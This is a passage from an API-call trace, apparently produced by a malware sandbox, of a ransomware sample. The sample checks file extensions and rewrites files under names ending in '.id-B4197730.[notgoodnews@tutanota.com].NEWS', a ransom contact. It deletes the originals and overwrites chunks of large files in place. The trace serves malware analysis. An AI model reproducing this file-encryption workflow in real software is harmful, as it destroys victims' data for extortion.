lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.497] lstrlenW (lpString=".7z") returned 3 [0071.497] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0071.497] lstrlenW (lpString=".dbf") returned 4 [0071.497] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.497] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0071.497] lstrlenW (lpString=".1cd") returned 4 [0071.497] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.498] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0071.498] lstrlenW (lpString=".jpg") returned 4 [0071.498] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.498] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0071.498] lstrlenW (lpString="SetupUtility.exe") returned 16 [0071.498] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0071.498] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=96088) returned 1 [0071.498] CloseHandle (hObject=0x330) returned 1 [0071.498] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80 [0071.498] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.498] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0071.498] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.498] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.499] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0071.499] GetLastError () returned 0x0 [0071.499] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x17758, lpOverlapped=0x0) returned 1 [0071.502] WriteFile (in: hFile=0x380, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x17760, lpOverlapped=0x0) returned 1 [0071.504] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0071.504] WriteFile (in: hFile=0x380, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xf4, lpOverlapped=0x0) returned 1 [0071.504] SetEndOfFile (hFile=0x380) returned 1 [0071.505] CloseHandle (hObject=0x380) returned 1 [0071.507] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.507] SetEndOfFile (hFile=0x330) returned 1 [0071.509] CloseHandle (hObject=0x330) returned 1 [0071.509] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0071.509] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1 [0071.509] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0071.509] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0071.509] lstrlenW (lpString=".doc") returned 4 [0071.509] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0071.509] lstrlenW (lpString=".docx") returned 5 [0071.509] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0071.509] lstrlenW (lpString=".pdf") returned 4 [0071.510] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0071.510] lstrlenW (lpString=".xls") returned 4 [0071.510] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0071.510] lstrlenW (lpString=".xlsx") returned 5 [0071.510] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0071.510] lstrlenW (lpString=".ppt") returned 4 [0071.510] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0071.510] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0071.510] lstrlenW (lpString=".zip") returned 4 [0071.510] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0071.510] lstrlenW (lpString=".rar") returned 4 [0071.510] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0071.510] lstrlenW (lpString=".bz2") returned 4 [0071.510] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0071.510] lstrlenW (lpString=".7z") returned 3 [0071.510] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0071.510] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0071.510] lstrlenW (lpString=".dbf") returned 4 [0071.510] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0071.510] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0071.510] lstrlenW (lpString=".1cd") returned 4 [0071.510] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0071.510] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0071.510] lstrlenW (lpString=".jpg") returned 4 [0071.510] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0071.510] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0071.510] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0071.510] lstrlenW (lpString=".doc") returned 4 [0071.510] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0071.510] lstrlenW (lpString=".docx") returned 5 [0071.510] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0071.510] lstrlenW (lpString=".pdf") returned 4 [0071.510] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0071.510] lstrlenW (lpString=".xls") returned 4 [0071.510] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0071.511] lstrlenW (lpString=".xlsx") returned 5 [0071.511] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0071.511] lstrlenW (lpString=".ppt") returned 4 [0071.511] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0071.511] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0071.511] lstrlenW (lpString=".zip") returned 4 [0071.511] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0071.511] lstrlenW (lpString=".rar") returned 4 [0071.511] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0071.511] lstrlenW (lpString=".bz2") returned 4 [0071.511] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0071.511] lstrlenW (lpString=".7z") returned 3 [0071.511] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0071.511] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0071.511] lstrlenW (lpString=".dbf") returned 4 [0071.511] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0071.511] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0071.511] lstrlenW (lpString=".1cd") returned 4 [0071.511] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0071.511] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0071.511] lstrlenW (lpString=".jpg") returned 4 [0071.511] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0071.511] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0071.511] lstrlenW (lpString="sqmapi.dll") returned 10 [0071.511] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0071.512] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=144416) returned 1 [0071.512] CloseHandle (hObject=0x330) returned 1 [0071.512] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80 [0071.512] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.512] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0071.512] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.512] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.512] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0071.512] GetLastError () returned 0x0 [0071.512] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x23420, lpOverlapped=0x0) returned 1 [0071.517] WriteFile (in: hFile=0x380, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x23430, lpOverlapped=0x0) returned 1 [0071.520] ReadFile (in: hFile=0x330, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0071.520] WriteFile (in: hFile=0x380, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0xe8, lpOverlapped=0x0) returned 1 [0071.520] SetEndOfFile (hFile=0x380) returned 1 [0071.520] CloseHandle (hObject=0x380) returned 1 [0071.835] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.835] SetEndOfFile (hFile=0x330) returned 1 [0071.837] CloseHandle (hObject=0x330) returned 1 [0071.837] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0071.837] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1 [0071.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0071.837] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0071.837] lstrlenW (lpString=".doc") returned 4 [0071.837] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.837] lstrlenW (lpString=".docx") returned 5 [0071.837] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0071.837] lstrlenW (lpString=".pdf") returned 4 [0071.837] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.837] lstrlenW (lpString=".xls") returned 4 [0071.837] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.838] lstrlenW (lpString=".xlsx") returned 5 [0071.838] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0071.838] lstrlenW (lpString=".ppt") returned 4 [0071.838] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0071.838] lstrlenW (lpString=".zip") returned 4 [0071.838] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.838] lstrlenW (lpString=".rar") returned 4 [0071.838] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.838] lstrlenW (lpString=".bz2") returned 4 [0071.838] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.838] lstrlenW (lpString=".7z") returned 3 [0071.838] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0071.838] lstrlenW (lpString=".dbf") returned 4 [0071.838] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0071.838] lstrlenW (lpString=".1cd") returned 4 [0071.838] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0071.838] lstrlenW (lpString=".jpg") returned 4 [0071.838] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0071.838] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0071.838] lstrlenW (lpString=".doc") returned 4 [0071.838] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.838] lstrlenW (lpString=".docx") returned 5 [0071.838] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0071.838] lstrlenW (lpString=".pdf") returned 4 [0071.838] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.838] lstrlenW (lpString=".xls") returned 4 [0071.838] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.838] lstrlenW (lpString=".xlsx") returned 5 [0071.838] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0071.838] lstrlenW (lpString=".ppt") returned 4 [0071.838] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0071.839] lstrlenW (lpString=".zip") returned 4 [0071.839] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.839] lstrlenW (lpString=".rar") returned 4 [0071.839] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.839] lstrlenW (lpString=".bz2") returned 4 [0071.839] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.839] lstrlenW (lpString=".7z") returned 3 [0071.839] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0071.839] lstrlenW (lpString=".dbf") returned 4 [0071.839] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0071.839] lstrlenW (lpString=".1cd") returned 4 [0071.839] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.839] lstrlenW (lpString="C:\\588bce7c90097ed212\\sqmapi.dll") returned 32 [0071.839] lstrlenW (lpString=".jpg") returned 4 [0071.839] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.839] lstrcmpiW (lpString1=".msu", lpString2=".NEWS") returned -1 [0071.839] lstrlenW (lpString="Windows6.0-KB956250-v6001-x86.msu") returned 33 [0071.839] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0071.839] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=2192672) returned 1 [0071.839] CloseHandle (hObject=0x330) returned 1 [0071.840] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu")) returned 0x80 [0071.840] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.840] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0071.840] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\windows6.0-kb956250-v6001-x86.msu.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0071.840] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc64 | out: lpNewFilePointer=0x0) returned 1 [0071.840] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0071.840] ReadFile (in: hFile=0x330, lpBuffer=0x35f1058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x35f1058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0071.845] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0071.845] ReadFile (in: hFile=0x330, lpBuffer=0x3631058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x3631058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0071.848] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2adfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.848] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc24 | out: lpNewFilePointer=0x0) returned 1 [0071.848] ReadFile (in: hFile=0x330, lpBuffer=0x3671058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2adfc30, lpOverlapped=0x0 | out: lpBuffer=0x3671058*, lpNumberOfBytesRead=0x2adfc30*=0x40000, lpOverlapped=0x0) returned 1 [0071.872] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.872] WriteFile (in: hFile=0x330, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2adfca8, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfca8*=0xc012e, lpOverlapped=0x0) returned 1 [0072.325] SetEndOfFile (hFile=0x330) returned 1 [0072.325] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x40000) returned 0x3ebbaa0 [0072.330] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0072.330] WriteFile (in: hFile=0x330, lpBuffer=0x3ebbaa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebbaa0*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0072.332] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0xb270a, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0072.332] WriteFile (in: hFile=0x330, lpBuffer=0x3ebbaa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebbaa0*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0072.334] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x1d7520, lpNewFilePointer=0x0, dwMoveMethod=0x2adfc74 | out: lpNewFilePointer=0x0) returned 1 [0072.334] WriteFile (in: hFile=0x330, lpBuffer=0x3ebbaa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2adfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ebbaa0*, lpNumberOfBytesWritten=0x2adfc80*=0x40000, lpOverlapped=0x0) returned 1 [0072.336] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3ebbaa0 | out: hHeap=0x490000) returned 1 [0072.336] CloseHandle (hObject=0x330) returned 1 [0073.604] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0073.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0073.604] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0073.604] lstrlenW (lpString=".doc") returned 4 [0073.604] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0073.604] lstrlenW (lpString=".docx") returned 5 [0073.604] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0073.604] lstrlenW (lpString=".pdf") returned 4 [0073.604] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0073.605] lstrlenW (lpString=".xls") returned 4 [0073.605] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0073.605] lstrlenW (lpString=".xlsx") returned 5 [0073.605] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0073.605] lstrlenW (lpString=".ppt") returned 4 [0073.605] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0073.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0073.605] lstrlenW (lpString=".zip") returned 4 [0073.605] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0073.605] lstrlenW (lpString=".rar") returned 4 [0073.605] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0073.605] lstrlenW (lpString=".bz2") returned 4 [0073.605] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0073.605] lstrlenW (lpString=".7z") returned 3 [0073.605] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0073.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0073.605] lstrlenW (lpString=".dbf") returned 4 [0073.605] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0073.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0073.605] lstrlenW (lpString=".1cd") returned 4 [0073.605] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0073.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0073.605] lstrlenW (lpString=".jpg") returned 4 [0073.605] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0073.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0073.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0073.605] lstrlenW (lpString=".doc") returned 4 [0073.605] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0073.605] lstrlenW (lpString=".docx") returned 5 [0073.605] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0073.605] lstrlenW (lpString=".pdf") returned 4 [0073.605] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0073.605] lstrlenW (lpString=".xls") returned 4 [0073.605] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0073.606] lstrlenW (lpString=".xlsx") returned 5 [0073.606] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0073.606] lstrlenW (lpString=".ppt") returned 4 [0073.606] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0073.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0073.606] lstrlenW (lpString=".zip") returned 4 [0073.606] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0073.606] lstrlenW (lpString=".rar") returned 4 [0073.606] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0073.606] lstrlenW (lpString=".bz2") returned 4 [0073.606] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0073.606] lstrlenW (lpString=".7z") returned 3 [0073.606] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0073.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0073.606] lstrlenW (lpString=".dbf") returned 4 [0073.606] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0073.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0073.606] lstrlenW (lpString=".1cd") returned 4 [0073.606] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0073.606] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.0-KB956250-v6001-x86.msu") returned 55 [0073.606] lstrlenW (lpString=".jpg") returned 4 [0073.606] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0073.606] 